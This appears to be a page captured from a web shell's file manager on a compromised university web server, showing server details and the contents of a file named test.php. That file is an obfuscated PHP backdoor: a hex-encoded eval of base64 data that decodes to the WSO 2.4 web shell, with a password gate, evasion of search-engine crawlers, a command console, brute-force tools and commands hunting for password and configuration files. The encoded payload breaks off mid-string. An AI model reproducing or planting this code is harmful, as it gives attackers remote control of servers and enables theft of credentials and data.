One Hat Cyber Team
Your IP :
216.73.216.115
Server IP :
194.44.31.54
Server :
Linux zen.imath.kiev.ua 4.18.0-553.77.1.el8_10.x86_64 #1 SMP Fri Oct 3 14:30:23 UTC 2025 x86_64
Server Software :
Apache/2.4.37 (Rocky Linux) OpenSSL/1.1.1k
PHP Version :
5.6.40
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
home
/
sam
/
public_html
/
go
/
files
/
View File Name :
test.php
<?php preg_replace("/.*/e", "\x65\x76\x61\x6C\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28\x22DQokYXV0aF9wYXNzID0gImYzYjQzMDk1YzYxOGNkN2MwZmIwNzUyYWQzMjZhOWZmIjsNCiRjb2xvciA9ICIjZGY1IjsNCiRkZWZhdWx0X2FjdGlvbiA9ICdGaWxlc01hbic7DQokZGVmYXVsdF91c2VfYWpheCA9IGZhbHNlOw0KJGRlZmF1bHRfY2hhcnNldCA9ICdXaW5kb3dzLTEyNTEnOw0KDQppZighZW1wdHkoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSkgew0KICAgICR1c2VyQWdlbnRzID0gYXJyYXkoIkdvb2dsZSIsICJTbHVycCIsICJNU05Cb3QiLCAiaWFfYXJjaGl2ZXIiLCAiWWFuZGV4IiwgIlJhbWJsZXIiKTsNCiAgICBpZihwcmVnX21hdGNoKCcvJyAuIGltcGxvZGUoJ3wnLCAkdXNlckFnZW50cykgLiAnL2knLCAkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pKSB7DQogICAgICAgIGhlYWRlcignSFRUUC8xLjAgNDA0IE5vdCBGb3VuZCcpOw0KICAgICAgICBleGl0Ow0KICAgIH0NCn0NCg0KQHNlc3Npb25fc3RhcnQoKTsNCkBpbmlfc2V0KCdlcnJvcl9sb2cnLE5VTEwpOw0KQGluaV9zZXQoJ2xvZ19lcnJvcnMnLDApOw0KQGluaV9zZXQoJ21heF9leGVjdXRpb25fdGltZScsMCk7DQpAc2V0X3RpbWVfbGltaXQoMCk7DQpAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApOw0KQGRlZmluZSgnV1NPX1ZFUlNJT04nLCAnMi40Jyk7DQoNCmlmKGdldF9tYWdpY19xdW90ZXNfZ3BjKCkpIHsNCglmdW5jdGlvbiBXU09zdHJpcHNsYXNoZXMoJGFycmF5KSB7DQoJCXJldHVybiBpc19hcnJheSgkYXJyYXkpID8gYXJyYXlfbWFwKCdXU09zdHJpcHNsYXNoZXMnLCAkYXJyYXkpIDogc3RyaXBzbGFzaGVzKCRhcnJheSk7DQoJfQ0KCSRfUE9TVCA9IFdTT3N0cmlwc2xhc2hlcygkX1BPU1QpOw0KfQ0KDQpmdW5jdGlvbiB3c29Mb2dpbigpIHsNCglkaWUoIjxwcmUgYWxpZ249Y2VudGVyPjxmb3JtIG1ldGhvZD1wb3N0PlBhc3N3b3JkOiA8aW5wdXQgdHlwZT1wYXNzd29yZCBuYW1lPXBhc3M+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Pic+PC9mb3JtPjwvcHJlPiIpOw0KfQ0KDQppZighaXNzZXQoJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pXSkpDQoJaWYoIGVtcHR5KCRhdXRoX3Bhc3MpIHx8ICggaXNzZXQoJF9QT1NUWydwYXNzJ10pICYmIChtZDUoJF9QT1NUWydwYXNzJ10pID09ICRhdXRoX3Bhc3MpICkgKQ0KCQkkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSldID0gdHJ1ZTsNCgllbHNlDQoJCXdzb0xvZ2luKCk7DQoNCmlmKHN0cnRvbG93ZXIoc3Vic3RyKFBIUF9PUywwLDMpKSA9PSAid2luIikNCgkkb3MgPSAnd2luJzsNCmVsc2UNCgkkb3MgPSAnbml4JzsNCg0KJHNhZmVfbW9kZSA9IEBpbmlfZ2V0KCdzYWZlX21vZGUnKTsNCmlmKCEkc2FmZV9tb2RlKQ0KICAgIGVycm9yX3JlcG9ydGluZygwKTsNCg0KJGRpc2FibGVfZnVuY3Rpb25zID0gQGluaV9nZXQoJ2Rpc2FibGVfZnVuY3Rpb25zJyk7DQokaG9tZV9jd2QgPSBAZ2V0Y3dkKCk7DQppZihpc3NldCgkX1BPU1RbJ2MnXSkpDQoJQGNoZGlyKCRfUE9TVFsnYyddKTsNCiRjd2QgPSBAZ2V0Y3dkKCk7DQppZigkb3MgPT0gJ3dpbicpIHsNCgkkaG9tZV9jd2QgPSBzdHJfcmVwbGFjZSgiXFwiLCAiLyIsICRob21lX2N3ZCk7DQoJJGN3ZCA9IHN0cl9yZXBsYWNlKCJcXCIsICIvIiwgJGN3ZCk7DQp9DQppZiggJGN3ZFtzdHJsZW4oJGN3ZCktMV0gIT0gJy8nICkNCgkkY3dkIC49ICcvJzsNCg0KaWYoIWlzc2V0KCRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKSAuICdhamF4J10pKQ0KICAgICRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKSAuICdhamF4J10gPSAoYm9vbCkkR0xPQkFMU1snZGVmYXVsdF91c2VfYWpheCddOw0KCQ0KaWYoJG9zID09ICd3aW4nKQ0KCSRhbGlhc2VzID0gYXJyYXkoDQoJCSJMaXN0IERpcmVjdG9yeSIgPT4gImRpciIsDQogICAgCSJGaW5kIGluZGV4LnBocCBpbiBjdXJyZW50IGRpciIgPT4gImRpciAvcyAvdyAvYiBpbmRleC5waHAiLA0KICAgIAkiRmluZCAqY29uZmlnKi5waHAgaW4gY3VycmVudCBkaXIiID0+ICJkaXIgL3MgL3cgL2IgKmNvbmZpZyoucGhwIiwNCiAgICAJIlNob3cgYWN0aXZlIGNvbm5lY3Rpb25zIiA9PiAibmV0c3RhdCAtYW4iLA0KICAgIAkiU2hvdyBydW5uaW5nIHNlcnZpY2VzIiA9PiAibmV0IHN0YXJ0IiwNCiAgICAJIlVzZXIgYWNjb3VudHMiID0+ICJuZXQgdXNlciIsDQogICAgCSJTaG93IGNvbXB1dGVycyIgPT4gIm5ldCB2aWV3IiwNCgkJIkFSUCBUYWJsZSIgPT4gImFycCAtYSIsDQoJCSJJUCBDb25maWd1cmF0aW9uIiA9PiAiaXBjb25maWcgL2FsbCINCgkpOw0KZWxzZQ0KCSRhbGlhc2VzID0gYXJyYXkoDQogIAkJIkxpc3QgZGlyIiA9PiAibHMgLWxoYSIsDQoJCSJsaXN0IGZpbGUgYXR0cmlidXRlcyBvbiBhIExpbnV4IHNlY29uZCBleHRlbmRlZCBmaWxlIHN5c3RlbSIgPT4gImxzYXR0ciAtdmEiLA0KICAJCSJzaG93IG9wZW5lZCBwb3J0cyIgPT4gIm5ldHN0YXQgLWFuIHwgZ3JlcCAtaSBsaXN0ZW4iLA0KICAgICAgICAicHJvY2VzcyBzdGF0dXMiID0+ICJwcyBhdXgiLA0KCQkiRmluZCIgPT4gIiIsDQogIAkJImZpbmQgYWxsIHN1aWQgZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtcGVybSAtMDQwMDAgLWxzIiwNCiAgCQkiZmluZCBzdWlkIGZpbGVzIGluIGN1cnJlbnQgZGlyIiA9PiAiZmluZCAuIC10eXBlIGYgLXBlcm0gLTA0MDAwIC1scyIsDQogIAkJImZpbmQgYWxsIHNnaWQgZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtcGVybSAtMDIwMDAgLWxzIiwNCiAgCQkiZmluZCBzZ2lkIGZpbGVzIGluIGN1cnJlbnQgZGlyIiA9PiAiZmluZCAuIC10eXBlIGYgLXBlcm0gLTAyMDAwIC1scyIsDQogIAkJImZpbmQgY29uZmlnLmluYy5waHAgZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtbmFtZSBjb25maWcuaW5jLnBocCIsDQogIAkJImZpbmQgY29uZmlnKiBmaWxlcyIgPT4gImZpbmQgLyAtdHlwZSBmIC1uYW1lIFwiY29uZmlnKlwiIiwNCiAgCQkiZmluZCBjb25maWcqIGZpbGVzIGluIGN1cnJlbnQgZGlyIiA9PiAiZmluZCAuIC10eXBlIGYgLW5hbWUgXCJjb25maWcqXCIiLA0KICAJCSJmaW5kIGFsbCB3cml0YWJsZSBmb2xkZXJzIGFuZCBmaWxlcyIgPT4gImZpbmQgLyAtcGVybSAtMiAtbHMiLA0KICAJCSJmaW5kIGFsbCB3cml0YWJsZSBmb2xkZXJzIGFuZCBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQgLiAtcGVybSAtMiAtbHMiLA0KICAJCSJmaW5kIGFsbCBzZXJ2aWNlLnB3ZCBmaWxlcyIgPT4gImZpbmQgLyAtdHlwZSBmIC1uYW1lIHNlcnZpY2UucHdkIiwNCiAgCQkiZmluZCBzZXJ2aWNlLnB3ZCBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQgLiAtdHlwZSBmIC1uYW1lIHNlcnZpY2UucHdkIiwNCiAgCQkiZmluZCBhbGwgLmh0cGFzc3dkIGZpbGVzIiA9PiAiZmluZCAvIC10eXBlIGYgLW5hbWUgLmh0cGFzc3dkIiwNCiAgCQkiZmluZCAuaHRwYXNzd2QgZmlsZXMgaW4gY3VycmVudCBkaXIiID0+ICJmaW5kIC4gLXR5cGUgZiAtbmFtZSAuaHRwYXNzd2QiLA0KICAJCSJmaW5kIGFsbCAuYmFzaF9oaXN0b3J5IGZpbGVzIiA9PiAiZmluZCAvIC10eXBlIGYgLW5hbWUgLmJhc2hfaGlzdG9yeSIsDQogIAkJImZpbmQgLmJhc2hfaGlzdG9yeSBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQgLiAtdHlwZSBmIC1uYW1lIC5iYXNoX2hpc3RvcnkiLA0KICAJCSJmaW5kIGFsbCAuZmV0Y2htYWlscmMgZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtbmFtZSAuZmV0Y2htYWlscmMiLA0KICAJCSJmaW5kIC5mZXRjaG1haWxyYyBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQgLiAtdHlwZSBmIC1uYW1lIC5mZXRjaG1haWxyYyIsDQoJCSJMb2NhdGUiID0+ICIiLA0KICAJCSJsb2NhdGUgaHR0cGQuY29uZiBmaWxlcyIgPT4gImxvY2F0ZSBodHRwZC5jb25mIiwNCgkJImxvY2F0ZSB2aG9zdHMuY29uZiBmaWxlcyIgPT4gImxvY2F0ZSB2aG9zdHMuY29uZiIsDQoJCSJsb2NhdGUgcHJvZnRwZC5jb25mIGZpbGVzIiA9PiAibG9jYXRlIHByb2Z0cGQuY29uZiIsDQoJCSJsb2NhdGUgcHN5Ym5jLmNvbmYgZmlsZXMiID0+ICJsb2NhdGUgcHN5Ym5jLmNvbmYiLA0KCQkibG9jYXRlIG15LmNvbmYgZmlsZXMiID0+ICJsb2NhdGUgbXkuY29uZiIsDQoJCSJsb2NhdGUgYWRtaW4ucGhwIGZpbGVzIiA9PiJsb2NhdGUgYWRtaW4ucGhwIiwNCgkJImxvY2F0ZSBjZmcucGhwIGZpbGVzIiA9PiAibG9jYXRlIGNmZy5waHAiLA0KCQkibG9jYXRlIGNvbmYucGhwIGZpbGVzIiA9PiAibG9jYXRlIGNvbmYucGhwIiwNCgkJImxvY2F0ZSBjb25maWcuZGF0IGZpbGVzIiA9PiAibG9jYXRlIGNvbmZpZy5kYXQiLA0KCQkibG9jYXRlIGNvbmZpZy5waHAgZmlsZXMiID0+ICJsb2NhdGUgY29uZmlnLnBocCIsDQoJCSJsb2NhdGUgY29uZmlnLmluYyBmaWxlcyIgPT4gImxvY2F0ZSBjb25maWcuaW5jIiwNCgkJImxvY2F0ZSBjb25maWcuaW5jLnBocCIgPT4gImxvY2F0ZSBjb25maWcuaW5jLnBocCIsDQoJCSJsb2NhdGUgY29uZmlnLmRlZmF1bHQucGhwIGZpbGVzIiA9PiAibG9jYXRlIGNvbmZpZy5kZWZhdWx0LnBocCIsDQoJCSJsb2NhdGUgY29uZmlnKiBmaWxlcyAiID0+ICJsb2NhdGUgY29uZmlnIiwNCgkJImxvY2F0ZSAuY29uZiBmaWxlcyI9PiJsb2NhdGUgJy5jb25mJyIsDQoJCSJsb2NhdGUgLnB3ZCBmaWxlcyIgPT4gImxvY2F0ZSAnLnB3ZCciLA0KCQkibG9jYXRlIC5zcWwgZmlsZXMiID0+ICJsb2NhdGUgJy5zcWwnIiwNCgkJImxvY2F0ZSAuaHRwYXNzd2QgZmlsZXMiID0+ICJsb2NhdGUgJy5odHBhc3N3ZCciLA0KCQkibG9jYXRlIC5iYXNoX2hpc3RvcnkgZmlsZXMiID0+ICJsb2NhdGUgJy5iYXNoX2hpc3RvcnknIiwNCgkJImxvY2F0ZSAubXlzcWxfaGlzdG9yeSBmaWxlcyIgPT4gImxvY2F0ZSAnLm15c3FsX2hpc3RvcnknIiwNCgkJImxvY2F0ZSAuZmV0Y2htYWlscmMgZmlsZXMiID0+ICJsb2NhdGUgJy5mZXRjaG1haWxyYyciLA0KCQkibG9jYXRlIGJhY2t1cCBmaWxlcyIgPT4gImxvY2F0ZSBiYWNrdXAiLA0KCQkibG9jYXRlIGR1bXAgZmlsZXMiID0+ICJsb2NhdGUgZHVtcCIsDQoJCSJsb2NhdGUgcHJpdiBmaWxlcyIgPT4gImxvY2F0ZSBwcml2IgkNCgkpOw0KDQpmdW5jdGlvbiB3c29IZWFkZXIoKSB7DQoJaWYoZW1wdHkoJF9QT1NUWydjaGFyc2V0J10pKQ0KCQkkX1BPU1RbJ2NoYXJzZXQnXSA9ICRHTE9CQUxTWydkZWZhdWx0X2NoYXJzZXQnXTsNCglnbG9iYWwgJGNvbG9yOw0KCWVjaG8gIjxodG1sPjxoZWFkPjxtZXRhIGh0dHAtZXF1aXY9J0NvbnRlbnQtVHlwZScgY29udGVudD0ndGV4dC9odG1sOyBjaGFyc2V0PSIgLiAkX1BPU1RbJ2NoYXJzZXQnXSAuICInPjx0aXRsZT4iIC4gJF9TRVJWRVJbJ0hUVFBfSE9TVCddIC4gIiAtIFdTTyAiIC4gV1NPX1ZFUlNJT04gLiI8L3RpdGxlPg0KPHN0eWxlPg0KYm9keXtiYWNrZ3JvdW5kLWNvbG9yOiM0NDQ7Y29sb3I6I2UxZTFlMTt9DQpib2R5LHRkLHRoeyBmb250OiA5cHQgTHVjaWRhLFZlcmRhbmE7bWFyZ2luOjA7dmVydGljYWwtYWxpZ246dG9wO2NvbG9yOiNlMWUxZTE7IH0NCnRhYmxlLmluZm97IGNvbG9yOiNmZmY7YmFja2dyb3VuZC1jb2xvcjojMjIyOyB9DQpzcGFuLGgxLGF7IGNvbG9yOiAkY29sb3IgIWltcG9ydGFudDsgfQ0Kc3BhbnsgZm9udC13ZWlnaHQ6IGJvbGRlcjsgfQ0KaDF7IGJvcmRlci1sZWZ0OjVweCBzb2xpZCAkY29sb3I7cGFkZGluZzogMnB4IDVweDtmb250OiAxNHB0IFZlcmRhbmE7YmFja2dyb3VuZC1jb2xvcjojMjIyO21hcmdpbjowcHg7IH0NCmRpdi5jb250ZW50eyBwYWRkaW5nOiA1cHg7bWFyZ2luLWxlZnQ6NXB4O2JhY2tncm91bmQtY29sb3I6IzMzMzsgfQ0KYXsgdGV4dC1kZWNvcmF0aW9uOm5vbmU7IH0NCmE6aG92ZXJ7IHRleHQtZGVjb3JhdGlvbjp1bmRlcmxpbmU7IH0NCi5tbDF7IGJvcmRlcjoxcHggc29saWQgIzQ0NDtwYWRkaW5nOjVweDttYXJnaW46MDtvdmVyZmxvdzogYXV0bzsgfQ0KLmJpZ2FyZWF7IHdpZHRoOjEwMCU7aGVpZ2h0OjI1MHB4OyB9DQppbnB1dCx0ZXh0YXJlYSxzZWxlY3R7IG1hcmdpbjowO2NvbG9yOiNmZmY7YmFja2dyb3VuZC1jb2xvcjojNTU1O2JvcmRlcjoxcHggc29saWQgJGNvbG9yOyBmb250OiA5cHQgTW9ub3NwYWNlLCdDb3VyaWVyIE5ldyc7IH0NCmZvcm17IG1hcmdpbjowcHg7IH0NCiN0b29sc1RibHsgdGV4dC1hbGlnbjpjZW50ZXI7IH0NCi50b29sc0lucHsgd2lkdGg6IDMwMHB4IH0NCi5tYWluIHRoe3RleHQtYWxpZ246bGVmdDtiYWNrZ3JvdW5kLWNvbG9yOiM1ZTVlNWU7fQ0KLm1haW4gdHI6aG92ZXJ7YmFja2dyb3VuZC1jb2xvcjojNWU1ZTVlfQ0KLmwxe2JhY2tncm91bmQtY29sb3I6IzQ0NH0NCi5sMntiYWNrZ3JvdW5kLWNvbG9yOiMzMzN9DQpwcmV7Zm9udC1mYW1pbHk6Q291cmllcixNb25vc3BhY2U7fQ0KPC9zdHlsZT4NCjxzY3JpcHQ+DQogICAgdmFyIGNfID0gJyIgLiBodG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkgLiAiJzsNCiAgICB2YXIgYV8gPSAnIiAuIGh0bWxzcGVjaWFsY2hhcnMoQCRfUE9TVFsnYSddKSAuIicNCiAgICB2YXIgY2hhcnNldF8gPSAnIiAuIGh0bWxzcGVjaWFsY2hhcnMoQCRfUE9TVFsnY2hhcnNldCddKSAuIic7DQogICAgdmFyIHAxXyA9ICciIC4gKChzdHJwb3MoQCRfUE9TVFsncDEnXSwiXG4iKSE9PWZhbHNlKT8nJzpodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncDEnXSxFTlRfUVVPVEVTKSkgLiInOw0KICAgIHZhciBwMl8gPSAnIiAuICgoc3RycG9zKEAkX1BPU1RbJ3AyJ10sIlxuIikhPT1mYWxzZSk/Jyc6aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3AyJ10sRU5UX1FVT1RFUykpIC4iJzsNCiAgICB2YXIgcDNfID0gJyIgLiAoKHN0cnBvcyhAJF9QT1NUWydwMyddLCJcbiIpIT09ZmFsc2UpPycnOmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydwMyddLEVOVF9RVU9URVMpKSAuIic7DQogICAgdmFyIGQgPSBkb2N1bWVudDsNCglmdW5jdGlvbiBzZXQoYSxjLHAxLHAyLHAzLGNoYXJzZXQpIHsNCgkJaWYoYSE9bnVsbClkLm1mLmEudmFsdWU9YTtlbHNlIGQubWYuYS52YWx1ZT1hXzsNCgkJaWYoYyE9bnVsbClkLm1mLmMudmFsdWU9YztlbHNlIGQubWYuYy52YWx1ZT1jXzsNCgkJaWYocDEhPW51bGwpZC5tZi5wMS52YWx1ZT1wMTtlbHNlIGQubWYucDEudmFsdWU9cDFfOw0KCQlpZihwMiE9bnVsbClkLm1mLnAyLnZhbHVlPXAyO2Vsc2UgZC5tZi5wMi52YWx1ZT1wMl87DQoJCWlmKHAzIT1udWxsKWQubWYucDMudmFsdWU9cDM7ZWxzZSBkLm1mLnAzLnZhbHVlPXAzXzsNCgkJaWYoY2hhcnNldCE9bnVsbClkLm1mLmNoYXJzZXQudmFsdWU9Y2hhcnNldDtlbHNlIGQubWYuY2hhcnNldC52YWx1ZT1jaGFyc2V0XzsNCgl9DQoJZnVuY3Rpb24gZyhhLGMscDEscDIscDMsY2hhcnNldCkgew0KCQlzZXQoYSxjLHAxLHAyLHAzLGNoYXJzZXQpOw0KCQlkLm1mLnN1Ym1pdCgpOw0KCX0NCglmdW5jdGlvbiBhKGEsYyxwMSxwMixwMyxjaGFyc2V0KSB7DQoJCXNldChhLGMscDEscDIscDMsY2hhcnNldCk7DQoJCXZhciBwYXJhbXMgPSAnYWpheD10cnVlJzsNCgkJZm9yKGk9MDtpPGQubWYuZWxlbWVudHMubGVuZ3RoO2krKykNCgkJCXBhcmFtcyArPSAnJicrZC5tZi5lbGVtZW50c1tpXS5uYW1lKyc9JytlbmNvZGVVUklDb21wb25lbnQoZC5tZi5lbGVtZW50c1tpXS52YWx1ZSk7DQoJCXNyKCciIC4gYWRkc2xhc2hlcygkX1NFUlZFUlsnUkVRVUVTVF9VUkknXSkgLiInLCBwYXJhbXMpOw0KCX0NCglmdW5jdGlvbiBzcih1cmwsIHBhcmFtcykgewkNCgkJaWYgKHdpbmRvdy5YTUxIdHRwUmVxdWVzdCkNCgkJCXJlcSA9IG5ldyBYTUxIdHRwUmVxdWVzdCgpOw0KCQllbHNlIGlmICh3aW5kb3cuQWN0aXZlWE9iamVjdCkNCgkJCXJlcSA9IG5ldyBBY3RpdmVYT2JqZWN0KCdNaWNyb3NvZnQuWE1MSFRUUCcpOw0KICAgICAgICBpZiAocmVxKSB7DQogICAgICAgICAgICByZXEub25yZWFkeXN0YXRlY2hhbmdlID0gcHJvY2Vzc1JlcUNoYW5nZTsNCiAgICAgICAgICAgIHJlcS5vcGVuKCdQT1NUJywgdXJsLCB0cnVlKTsNCiAgICAgICAgICAgIHJlcS5zZXRSZXF1ZXN0SGVhZGVyICgnQ29udGVudC1UeXBlJywgJ2FwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCcpOw0KICAgICAgICAgICAgcmVxLnNlbmQocGFyYW1zKTsNCiAgICAgICAgfQ0KCX0NCglmdW5jdGlvbiBwcm9jZXNzUmVxQ2hhbmdlKCkgew0KCQlpZiggKHJlcS5yZWFkeVN0YXRlID09IDQpICkNCgkJCWlmKHJlcS5zdGF0dXMgPT0gMjAwKSB7DQoJCQkJdmFyIHJlZyA9IG5ldyBSZWdFeHAoXCIoXFxcXGQrKShbXFxcXFNcXFxcc10qKVwiLCAnbScpOw0KCQkJCXZhciBhcnI9cmVnLmV4ZWMocmVxLnJlc3BvbnNlVGV4dCk7DQoJCQkJZXZhbChhcnJbMl0uc3Vic3RyKDAsIGFyclsxXSkpOw0KCQkJfSBlbHNlIGFsZXJ0KCdSZXF1ZXN0IGVycm9yIScpOw0KCX0NCjwvc2NyaXB0Pg0KPGhlYWQ+PGJvZHk+PGRpdiBzdHlsZT0ncG9zaXRpb246YWJzb2x1dGU7d2lkdGg6MTAwJTtiYWNrZ3JvdW5kLWNvbG9yOiM0NDQ7dG9wOjA7bGVmdDowOyc+DQo8Zm9ybSBtZXRob2Q9cG9zdCBuYW1lPW1mIHN0eWxlPSdkaXNwbGF5Om5vbmU7Jz4NCjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWE+DQo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jPg0KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9cDE+DQo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1wMj4NCjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXAzPg0KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9Y2hhcnNldD4NCjwvZm9ybT4iOw0KCSRmcmVlU3BhY2UgPSBAZGlza2ZyZWVzcGFjZSgkR0xPQkFMU1snY3dkJ10pOw0KCSR0b3RhbFNwYWNlID0gQGRpc2tfdG90YWxfc3BhY2UoJEdMT0JBTFNbJ2N3ZCddKTsNCgkkdG90YWxTcGFjZSA9ICR0b3RhbFNwYWNlPyR0b3RhbFNwYWNlOjE7DQoJJHJlbGVhc2UgPSBAcGhwX3VuYW1lKCdyJyk7DQoJJGtlcm5lbCA9IEBwaHBfdW5hbWUoJ3MnKTsNCgkkZXhwbGluayA9ICdodHRwOi8vZXhwbG9pdC1kYi5jb20vbGlzdC5waHA/ZGVzY3JpcHRpb249JzsNCglpZihzdHJwb3MoJ0xpbnV4JywgJGtlcm5lbCkgIT09IGZhbHNlKQ0KCQkkZXhwbGluayAuPSB1cmxlbmNvZGUoJ0xpbnV4IEtlcm5lbCAnIC4gc3Vic3RyKCRyZWxlYXNlLDAsNikpOw0KCWVsc2UNCgkJJGV4cGxpbmsgLj0gdXJsZW5jb2RlKCRrZXJuZWwgLiAnICcgLiBzdWJzdHIoJHJlbGVhc2UsMCwzKSk7DQoJaWYoIWZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0ZWdpZCcpKSB7DQoJCSR1c2VyID0gQGdldF9jdXJyZW50X3VzZXIoKTsNCgkJJHVpZCA9IEBnZXRteXVpZCgpOw0KCQkkZ2lkID0gQGdldG15Z2lkKCk7DQoJCSRncm91cCA9ICI/IjsNCgl9IGVsc2Ugew0KCQkkdWlkID0gQHBvc2l4X2dldHB3dWlkKHBvc2l4X2dldGV1aWQoKSk7DQoJCSRnaWQgPSBAcG9zaXhfZ2V0Z3JnaWQocG9zaXhfZ2V0ZWdpZCgpKTsNCgkJJHVzZXIgPSAkdWlkWyduYW1lJ107DQoJCSR1aWQgPSAkdWlkWyd1aWQnXTsNCgkJJGdyb3VwID0gJGdpZFsnbmFtZSddOw0KCQkkZ2lkID0gJGdpZFsnZ2lkJ107DQoJfQ0KDQoJJGN3ZF9saW5rcyA9ICcnOw0KCWlmICgkR0xPQkFMU1snY3dkJ109PScnKSB7DQoJCSRHTE9CQUxTWydjd2QnXSA9IGdldGN3ZCgpOw0KCX0NCgkkcGF0aCA9IGV4cGxvZGUoIi8iLCAkR0xPQkFMU1snY3dkJ10pOw0KCSRuPWNvdW50KCRwYXRoKTsNCglmb3IoJGk9MDsgJGk8JG4tMTsgJGkrKykgew0KCQkkY3dkX2xpbmtzIC49ICI8YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNNYW5cIixcIiI7DQoJCWZvcigkaj0wOyAkajw9JGk7ICRqKyspDQoJCQkkY3dkX2xpbmtzIC49ICRwYXRoWyRqXS4nLyc7DQoJCSRjd2RfbGlua3MgLj0gIlwiKSc+Ii4kcGF0aFskaV0uIi88L2E+IjsNCgl9DQoNCgkkY2hhcnNldHMgPSBhcnJheSgnVVRGLTgnLCAnV2luZG93cy0xMjUxJywgJ0tPSTgtUicsICdLT0k4LVUnLCAnY3A4NjYnKTsNCgkkb3B0X2NoYXJzZXRzID0gJyc7DQoJZm9yZWFjaCgkY2hhcnNldHMgYXMgJGl0ZW0pDQoJCSRvcHRfY2hhcnNldHMgLj0gJzxvcHRpb24gdmFsdWU9IicuJGl0ZW0uJyIgJy4oJF9QT1NUWydjaGFyc2V0J109PSRpdGVtPydzZWxlY3RlZCc6JycpLic+Jy4kaXRlbS4nPC9vcHRpb24+JzsNCg0KCSRtID0gYXJyYXkoJ1NlYy4gSW5mbyc9PidTZWNJbmZvJywnRmlsZXMnPT4nRmlsZXNNYW4nLCdDb25zb2xlJz0+J0NvbnNvbGUnLCdTcWwnPT4nU3FsJywnUGhwJz0+J1BocCcsJ1NhZmUgbW9kZSc9PidTYWZlTW9kZScsJ1N0cmluZyB0b29scyc9PidTdHJpbmdUb29scycsJ0JydXRlZm9yY2UnPT4nQnJ1dGVmb3JjZScsJ05ldHdvcmsnPT4nTmV0d29yaycpOw0KCWlmKCFlbXB0eSgkR0xPQkFMU1snYXV0aF9wYXNzJ10pKQ0KCQkkbVsnTG9nb3V0J10gPSAnTG9nb3V0JzsNCgkkbVsnU2VsZiByZW1vdmUnXSA9ICdTZWxmUmVtb3ZlJzsNCgkkbWVudSA9ICcnOw0KCWZvcmVhY2goJG0gYXMgJGsgPT4gJHYpDQoJCSRtZW51IC49ICc8dGggd2lkdGg9IicuKGludCkoMTAwL2NvdW50KCRtKSkuJyUiPlsgPGEgaHJlZj0iIyIgb25jbGljaz0iZyhcJycuJHYuJ1wnLG51bGwsXCdcJyxcJ1wnLFwnXCcpIj4nLiRrLic8L2E+IF08L3RoPic7DQoNCgkkZHJpdmVzID0gIiI7DQoJaWYoJEdMT0JBTFNbJ29zJ10gPT0gJ3dpbicpIHsNCgkJZm9yZWFjaChyYW5nZSgnYycsJ3onKSBhcyAkZHJpdmUpDQoJCWlmKGlzX2RpcigkZHJpdmUuJzpcXCcpKQ0KCQkJJGRyaXZlcyAuPSAnPGEgaHJlZj0iIyIgb25jbGljaz0iZyhcJ0ZpbGVzTWFuXCcsXCcnLiRkcml2ZS4nOi9cJykiPlsgJy4kZHJpdmUuJyBdPC9hPiAnOw0KCX0NCgllY2hvICc8dGFibGUgY2xhc3M9aW5mbyBjZWxscGFkZGluZz0zIGNlbGxzcGFjaW5nPTAgd2lkdGg9MTAwJT48dHI+PHRkIHdpZHRoPTE+PHNwYW4+VW5hbWU6PGJyPlVzZXI6PGJyPlBocDo8YnI+SGRkOjxicj5Dd2Q6JyAuICgkR0xPQkFMU1snb3MnXSA9PSAnd2luJz8nPGJyPkRyaXZlczonOicnKSAuICc8L3NwYW4+PC90ZD4nDQogICAgICAgLiAnPHRkPjxub2JyPicgLiBzdWJzdHIoQHBocF91bmFtZSgpLCAwLCAxMjApIC4gJyA8YSBocmVmPSInIC4gJGV4cGxpbmsgLiAnIiB0YXJnZXQ9X2JsYW5rPltleHBsb2l0LWRiLmNvbV08L2E+PC9ub2JyPjxicj4nIC4gJHVpZCAuICcgKCAnIC4gJHVzZXIgLiAnICkgPHNwYW4+R3JvdXA6PC9zcGFuPiAnIC4gJGdpZCAuICcgKCAnIC4gJGdyb3VwIC4gJyApPGJyPicgLiBAcGhwdmVyc2lvbigpIC4gJyA8c3Bhbj5TYWZlIG1vZGU6PC9zcGFuPiAnIC4gKCRHTE9CQUxTWydzYWZlX21vZGUnXT8nPGZvbnQgY29sb3I9cmVkPk9OPC9mb250Pic6Jzxmb250IGNvbG9yPSMwMGJiMDA+PGI+T0ZGPC9iPjwvZm9udD4nKQ0KICAgICAgIC4gJyA8YSBocmVmPSMgb25jbGljaz0iZyhcJ1BocFwnLG51bGwsXCdcJyxcJ2luZm9cJykiPlsgcGhwaW5mbyBdPC9hPiA8c3Bhbj5EYXRldGltZTo8L3NwYW4+ICcgLiBkYXRlKCdZLW